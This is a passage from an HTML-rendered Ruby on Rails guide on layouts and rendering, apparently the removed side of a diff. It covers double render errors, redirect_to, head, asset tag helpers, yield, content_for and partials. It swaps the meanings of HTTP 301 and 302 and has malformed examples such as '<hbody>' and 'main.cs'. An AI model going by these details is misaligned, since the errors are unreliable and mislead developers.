-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> OldPostsController <span style="color: #990000">&lt;</span> SpecialPostsController
- layout <span style="font-weight: bold"><span style="color: #0000FF">nil</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
- <span style="color: #009900">@post</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> index
- <span style="color: #009900">@old_posts</span> <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>older
- render <span style="color: #990000">:</span>layout <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"old"</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-style: italic"><span style="color: #9A1900"># ...</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>In this application:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-In general, views will be rendered in the <tt>main</tt> layout
-</p>
-</li>
-<li>
-<p>
-<tt>PostsController#index</tt> will use the <tt>main</tt> layout
-</p>
-</li>
-<li>
-<p>
-<tt>SpecialPostsController#index</tt> will use the <tt>special</tt> layout
-</p>
-</li>
-<li>
-<p>
-<tt>OldPostsController#show</tt> will use no layout at all
-</p>
-</li>
-<li>
-<p>
-<tt>OldPostsController#index</tt> will use the <tt>old</tt> layout
-</p>
-</li>
-</ul></div>
-<h4 id="_avoiding_double_render_errors">2.2.13. Avoiding Double Render Errors</h4>
-<div class="paragraph"><p>Sooner or later, most Rails developers will see the error message "Can only render or redirect once per action". While this is annoying, it&#8217;s relatively easy to fix. Usually it happens because of a fundamental misunderstanding of the way that <tt>render</tt> works.</p></div>
-<div class="paragraph"><p>For example, here&#8217;s some code that will trigger this error:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
- <span style="color: #009900">@book</span> <span style="color: #990000">=</span> Book<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
- <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@book</span><span style="color: #990000">.</span>special?
- render <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"special_show"</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>If <tt>@book.special?</tt> evaluates to <tt>true</tt>, Rails will start the rendering process to dump the <tt>@book</tt> variable into the <tt>special_show</tt> view. But this will <em>not</em> stop the rest of the code in the <tt>show</tt> action from running, and when Rails hits the end of the action, it will start to render the <tt>show</tt> view - and throw an error. The solution is simple: make sure that you only have one call to <tt>render</tt> or <tt>redirect</tt> in a single code path. One thing that can help is <tt>and return</tt>. Here&#8217;s a patched version of the method:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
- <span style="color: #009900">@book</span> <span style="color: #990000">=</span> Book<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
- <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@book</span><span style="color: #990000">.</span>special?
- render <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"special_show"</span> <span style="font-weight: bold"><span style="color: #0000FF">and</span></span> <span style="font-weight: bold"><span style="color: #0000FF">return</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<h3 id="_using_tt_redirect_to_tt">2.3. Using <tt>redirect_to</tt></h3>
-<div class="paragraph"><p>Another way to handle returning responses to a HTTP request is with <tt>redirect_to</tt>. As you&#8217;ve seen, <tt>render</tt> tells Rails which view (or other asset) to use in constructing a response. The <tt>redirect_to</tt> method does something completely different: it tells the browser to send a new request for a different URL. For example, you could redirect from wherever you are in your code to the index of photos in your application with this call:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>redirect_to photos_path</tt></pre></div></div>
-<div class="paragraph"><p>You can use <tt>redirect_to</tt> with any arguments that you could use with <tt>link_to</tt> or <tt>url_for</tt>. In addition, there&#8217;s a special redirect that sends the user back to the page they just came from:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>redirect_to :back</tt></pre>
-</div></div>
-<h4 id="_getting_a_different_redirect_status_code">2.3.1. Getting a Different Redirect Status Code</h4>
-<div class="paragraph"><p>Rails uses HTTP status code 302 (permanent redirect) when you call <tt>redirect_to</tt>. If you&#8217;d like to use a different status code (perhaps 301, temporary redirect), you can do so by using the <tt>:status</tt> option:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>redirect_to photos_path, :status =&gt; 301</tt></pre>
-</div></div>
-<div class="paragraph"><p>Just like the <tt>:status</tt> option for <tt>render</tt>, <tt>:status</tt> for <tt>redirect_to</tt> accepts both numeric and symbolic header designations.</p></div>
-<h4 id="_the_difference_between_tt_render_tt_and_tt_redirect_tt">2.3.2. The Difference Between <tt>render</tt> and <tt>redirect</tt></h4>
-<div class="paragraph"><p>Sometimes inexperienced developers conceive of <tt>redirect_to</tt> as a sort of <tt>goto</tt> command, moving execution from one place to another in your Rails code. This is <em>not</em> correct. Your code stops running and waits for a new request for the browser. It just happens that you&#8217;ve told the browser what request it should make next, by sending back a HTTP 302 status code.</p></div>
-<div class="paragraph"><p>Consider these actions to see the difference:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> index
- <span style="color: #009900">@books</span> <span style="color: #990000">=</span> Book<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">)</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
- <span style="color: #009900">@book</span> <span style="color: #990000">=</span> Book<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
- <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@book</span><span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">?</span>
- render <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"index"</span> <span style="font-weight: bold"><span style="color: #0000FF">and</span></span> <span style="font-weight: bold"><span style="color: #0000FF">return</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>With the code in this form, there will be likely be a problem if the <tt>@book</tt> variable is <tt>nil</tt>. Remember, a <tt>render :action</tt> doesn&#8217;t run any code in the target action, so nothing will set up the <tt>@books</tt> variable that the <tt>index</tt> view is presumably depending on. One way to fix this is to redirect instead of rendering:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> index
- <span style="color: #009900">@books</span> <span style="color: #990000">=</span> Book<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">)</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
- <span style="color: #009900">@book</span> <span style="color: #990000">=</span> Book<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
- <span style="font-weight: bold"><span style="color: #0000FF">if</span></span> <span style="color: #009900">@book</span><span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">nil</span></span><span style="color: #990000">?</span>
- redirect_to <span style="color: #990000">:</span>action <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"index"</span> <span style="font-weight: bold"><span style="color: #0000FF">and</span></span> <span style="font-weight: bold"><span style="color: #0000FF">return</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>With this code, the browser will make a fresh request for the index page, the code in the <tt>index</tt> method will run, and all will be well.</p></div>
-<h3 id="_using_tt_head_tt_to_build_header_only_responses">2.4. Using <tt>head</tt> To Build Header-Only Responses</h3>
-<div class="paragraph"><p>The <tt>head</tt> method exists to let you send back responses to the browser that have only headers. It provides a more obvious alternative to calling <tt>render :nothing</tt>. The <tt>head</tt> method takes one response, which is interpreted as a hash of header names and values. For example, you can return only an error header:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>head <span style="color: #990000">:</span>bad_request</tt></pre></div></div>
-<div class="paragraph"><p>Or you can use other HTTP headers to convey additional information:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>head <span style="color: #990000">:</span>created<span style="color: #990000">,</span> <span style="color: #990000">:</span>location <span style="color: #990000">=&gt;</span> photo_path<span style="color: #990000">(</span><span style="color: #009900">@photo</span><span style="color: #990000">)</span></tt></pre></div></div>
-</div>
-<h2 id="_structuring_layouts">3. Structuring Layouts</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>When Rails renders a view as a response, it does so by combining the view with the current layout (using the rules for finding the current layout that were covered earlier in this guide). Within a layout, you have access to three tools for combining different bits of output to form the overall response:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-Asset tags
-</p>
-</li>
-<li>
-<p>
-<tt>yield</tt> and <tt>content_for</tt>
-</p>
-</li>
-<li>
-<p>
-Partials
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>I&#8217;ll discuss each of these in turn.</p></div>
-<h3 id="_asset_tags">3.1. Asset Tags</h3>
-<div class="paragraph"><p>Asset tags provide methods for generating HTML that links views to assets like images, javascript, stylesheets, and feeds. There are four types of include tag:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-auto_discovery_link_tag
-</p>
-</li>
-<li>
-<p>
-javascript_include_tag
-</p>
-</li>
-<li>
-<p>
-stylesheet_link_tag
-</p>
-</li>
-<li>
-<p>
-image_tag
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>You can use these tags in layouts or other views, although the tags other than <tt>image_tag</tt> are most commonly used in the <tt>&lt;head&gt;</tt> section of a layout.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/warning.png" alt="Warning" />
-</td>
-<td class="content">The asset tags do <em>not</em> verify the existence of the assets at the specified locations; they simply assume that you know what you&#8217;re doing and generate the link.</td>
-</tr></table>
-</div>
-<h4 id="_linking_to_feeds_with_tt_auto_discovery_link_tag_tt">3.1.1. Linking to Feeds with <tt>auto_discovery_link_tag</tt></h4>
-<div class="paragraph"><p>The <tt>auto_discovery_link_tag helper builds HTML that most browsers and newsreaders can use to detect the presences of RSS or ATOM feeds. It takes the type of the link (</tt>:rss+ or <tt>:atom</tt>), a hash of options that are passed through to url_for, and a hash of options for the tag:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= auto_discovery_link_tag(:rss, {:action =&gt;</span> <span style="color: #FF0000">"feed"</span><span style="color: #FF0000">}</span><span style="color: #990000">,</span> <span style="color: #FF0000">{</span><span style="color: #990000">:</span>title <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"RSS Feed"</span><span style="color: #FF0000">}</span><span style="color: #990000">)</span> <span style="color: #990000">%&gt;</span></tt></pre></div></div>
-<div class="paragraph"><p>There are three tag options available for <tt>auto_discovery_link_tag</tt>:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>:rel</tt> specifies the <tt>rel</tt> value in the link (defaults to "alternate")
-</p>
-</li>
-<li>
-<p>
-<tt>:type</tt> specifies an explicit MIME type. Rails will generate an appropriate MIME type automatically
-</p>
-</li>
-<li>
-<p>
-<tt>:title</tt> specifies the title of the link
-</p>
-</li>
-</ul></div>
-<h4 id="_linking_to_javascript_files_with_tt_javascript_include_tag_tt">3.1.2. Linking to Javascript Files with <tt>javascript_include_tag</tt></h4>
-<div class="paragraph"><p>The <tt>javascript_include_tag</tt> helper returns an HTML <tt>&lt;script&gt;</tt> tag for each source provided. Rails looks in <tt>public/javascripts</tt> for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include <tt>public/javascripts/main.js</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= javascript_include_tag "main" %&gt;</span></tt></pre></div></div>
-<div class="paragraph"><p>To include <tt>public/javascripts/main.js</tt> and <tt>public/javascripts/columns.js</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= javascript_include_tag "main", "columns" %&gt;</span></tt></pre></div></div>
-<div class="paragraph"><p>To include <tt>public/javascripts/main.js</tt> and <tt>public/photos/columns.js</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= javascript_include_tag "main", "/photos/columns" %&gt;</span></tt></pre></div></div>
-<div class="paragraph"><p>To include <tt>http://example.com/main.js</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= javascript_include_tag "http://example.com/main.js" %&gt;</span></tt></pre></div></div>
-<div class="paragraph"><p>The <tt>defaults</tt> option loads the Prototype and Scriptaculous libraries:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= javascript_include_tag :defaults %&gt;</span></tt></pre></div></div>
-<div class="paragraph"><p>The <tt>all</tt> option loads every javascript file in <tt>public/javascripts</tt>, starting with the Prototype and Scriptaculous libraries:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= javascript_include_tag :all %&gt;</span></tt></pre></div></div>
-<div class="paragraph"><p>You can supply the <tt>:recursive</tt> option to load files in subfolders of <tt>public/javascripts</tt> as well:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= javascript_include_tag :all, :recursive =&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="color: #990000">%&gt;</span></tt></pre></div></div>
-<div class="paragraph"><p>If you&#8217;re loading multiple javascript files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify <tt>:cache =&gt; true</tt> in your <tt>javascript_include_tag</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= javascript_include_tag "main", "columns", :cache =&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="color: #990000">%&gt;</span></tt></pre></div></div>
-<div class="paragraph"><p>By default, the combined file will be delivered as <tt>javascripts/all.js</tt>. You can specify a location for the cached asset file instead:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= javascript_include_tag "main", "columns", :cache =&gt;</span> <span style="color: #FF0000">'cache/main/display'</span> <span style="color: #990000">%&gt;</span></tt></pre></div></div>
-<div class="paragraph"><p></p></div>
-<h4 id="_linking_to_css_files_with_tt_stylesheet_link_tag_tt">3.1.3. Linking to CSS Files with <tt>stylesheet_link_tag</tt></h4>
-<div class="paragraph"><p>The <tt>stylesheet_link_tag</tt> helper returns an HTML <tt>&lt;link&gt;</tt> tag for each source provided. Rails looks in <tt>public/stylesheets</tt> for these files by default, but you can specify a full path relative to the document root, or a URL, if you prefer. For example, to include <tt>public/stylesheets/main.cs</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= stylesheet_link_tag "main" %&gt;</span></tt></pre></div></div>
-<div class="paragraph"><p>To include <tt>public/stylesheets/main.css</tt> and <tt>public/stylesheets/columns.css</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= stylesheet_link_tag "main", "columns" %&gt;</span></tt></pre></div></div>
-<div class="paragraph"><p>To include <tt>public/stylesheets/main.css</tt> and <tt>public/photos/columns.css</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= stylesheet_link_tag "main", "/photos/columns" %&gt;</span></tt></pre></div></div>
-<div class="paragraph"><p>To include <tt>http://example.com/main.cs</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= stylesheet_link_tag "http://example.com/main.cs" %&gt;</span></tt></pre></div></div>
-<div class="paragraph"><p>By default, <tt>stylesheet_link_tag</tt> creates links with <tt>media="screen" rel="stylesheet" type="text/css"</tt>. You can override any of these defaults by specifying an appropriate option (:media, :rel, or :type):</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= stylesheet_link_tag "main_print", media =&gt;</span> <span style="color: #FF0000">"print"</span> <span style="color: #990000">%&gt;</span></tt></pre></div></div>
-<div class="paragraph"><p>The <tt>all</tt> option links every CSS file in <tt>public/stylesheets</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= stylesheet_link_tag :all %&gt;</span></tt></pre></div></div>
-<div class="paragraph"><p>You can supply the <tt>:recursive</tt> option to link files in subfolders of <tt>public/stylesheets</tt> as well:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= stylesheet_link_tag :all, :recursive =&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="color: #990000">%&gt;</span></tt></pre></div></div>
-<div class="paragraph"><p>If you&#8217;re loading multiple CSS files, you can create a better user experience by combining multiple files into a single download. To make this happen in production, specify <tt>:cache =&gt; true</tt> in your <tt>stylesheet_link_tag</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= stylesheet_link_tag "main", "columns", :cache =&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span> <span style="color: #990000">%&gt;</span></tt></pre></div></div>
-<div class="paragraph"><p>By default, the combined file will be delivered as <tt>stylesheets/all.css</tt>. You can specify a location for the cached asset file instead:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= stylesheet_link_tag "main", "columns", :cache =&gt;</span> <span style="color: #FF0000">'cache/main/display'</span> <span style="color: #990000">%&gt;</span></tt></pre></div></div>
-<div class="paragraph"><p></p></div>
-<h4 id="_linking_to_images_with_tt_image_tag_tt">3.1.4. Linking to Images with <tt>image_tag</tt></h4>
-<div class="paragraph"><p>The <tt>image_tag</tt> helper builds an HTML <tt>&lt;image&gt;</tt> tag to the specified file. By default, files are loaded from <tt>public/images</tt>. If you don&#8217;t specify an extension, .png is assumed by default:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= image_tag "header" %&gt;</span></tt></pre></div></div>
-<div class="paragraph"><p>You can supply a path to the image if you like:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= image_tag "icons/delete.gif" %&gt;</span></tt></pre></div></div>
-<div class="paragraph"><p>You can supply a hash of additional HTML options:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= image_tag "icons/delete.gif", :height =&gt;</span> <span style="color: #993399">45</span> <span style="color: #990000">%&gt;</span></tt></pre></div></div>
-<div class="paragraph"><p>There are also three special options you can use with <tt>image_tag</tt>:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>:alt</tt> specifies the alt text for the image (which defaults to the file name of the file, capitalized and with no extension)
-</p>
-</li>
-<li>
-<p>
-</p>
-</li>
-<li>
-<p>
-<tt>:mouseover</tt> sets an alternate image to be used when the onmouseover event is fired.
-</p>
-</li>
-</ul></div>
-<h3 id="_understanding_tt_yield_tt">3.2. Understanding <tt>yield</tt></h3>
-<div class="paragraph"><p>Within the context of a layout, <tt>yield</tt> identifies a section where content from the view should be inserted. The simplest way to use this is to have a single <tt>yield</tt>, into which the entire contents of the view currently being rendered is inserted:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;html&gt;</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">&lt;head&gt;</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">&lt;/head&gt;</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">&lt;body&gt;</span></span>
- &lt;%= yield %&gt;
- <span style="font-weight: bold"><span style="color: #0000FF">&lt;hbody&gt;</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">&lt;/html&gt;</span></span></tt></pre></div></div>
-<div class="paragraph"><p>You can also create a layout with multiple yielding regions:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;html&gt;</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">&lt;head&gt;</span></span>
- &lt;%= yield :head %&gt;
- <span style="font-weight: bold"><span style="color: #0000FF">&lt;/head&gt;</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">&lt;body&gt;</span></span>
- &lt;%= yield %&gt;
- <span style="font-weight: bold"><span style="color: #0000FF">&lt;hbody&gt;</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">&lt;/html&gt;</span></span></tt></pre></div></div>
-<div class="paragraph"><p>The main body of the view will always render into the unnamed <tt>yield</tt>. To render content into a named <tt>yield</tt>, you use the <tt>content_for</tt> method.</p></div>
-<h3 id="_using_tt_content_for_tt">3.3. Using <tt>content_for</tt></h3>
-<div class="paragraph"><p>The <tt>content_for</tt> method allows you to insert content into a <tt>yield</tt> block in your layout. You only use <tt>content_for</tt> to insert content in named yields. For example, this view would work with the layout that you just saw:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>&lt;% content_for :head do %&gt;
- <span style="font-weight: bold"><span style="color: #0000FF">&lt;title&gt;</span></span>A simple page<span style="font-weight: bold"><span style="color: #0000FF">&lt;/title&gt;</span></span>
-&lt;% end %&gt;
-
-<span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>Hello, Rails!<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span></tt></pre></div></div>
-<div class="paragraph"><p>The result of rendering this page into the supplied layout would be this HTML:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;html&gt;</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">&lt;head&gt;</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">&lt;title&gt;</span></span>A simple page<span style="font-weight: bold"><span style="color: #0000FF">&lt;/title&gt;</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">&lt;/head&gt;</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">&lt;body&gt;</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>Hello, Rails!<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">&lt;hbody&gt;</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">&lt;/html&gt;</span></span></tt></pre></div></div>
-<div class="paragraph"><p>The <tt>content_for</tt> method is very helpful when your layout contains distinct regions such as sidebars and footers that should get their own blocks of content inserted. It&#8217;s also useful for inserting tags that load page-specific javascript or css files into the header of an otherwise-generic layout.</p></div>
-<h3 id="_using_partials">3.4. Using Partials</h3>
-<div class="paragraph"><p>Partial templates - usually just called "partials" - are another device for breaking apart the rendering process into more manageable chunks. With a partial, you can move the code for rendering a particular piece of a response to its own file.</p></div>
-<h4 id="_naming_partials">3.4.1. Naming Partials</h4>
-<div class="paragraph"><p>To render a partial as part of a view, you use the <tt>render</tt> method within the view, and include the <tt>:partial</tt> option:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= render :partial =&gt;</span> <span style="color: #FF0000">"menu"</span> <span style="color: #990000">%&gt;</span></tt></pre></div></div>
-<div class="paragraph"><p>This will render a file named <tt>_menu.html.erb</tt> at that point within the view being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you&#8217;re pulling in a partial from another folder:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;%= render :partial =&gt;</span> <span style="color: #FF0000">"shared/menu"</span> <span style="color: #990000">%&gt;</span></tt></pre></div></div>
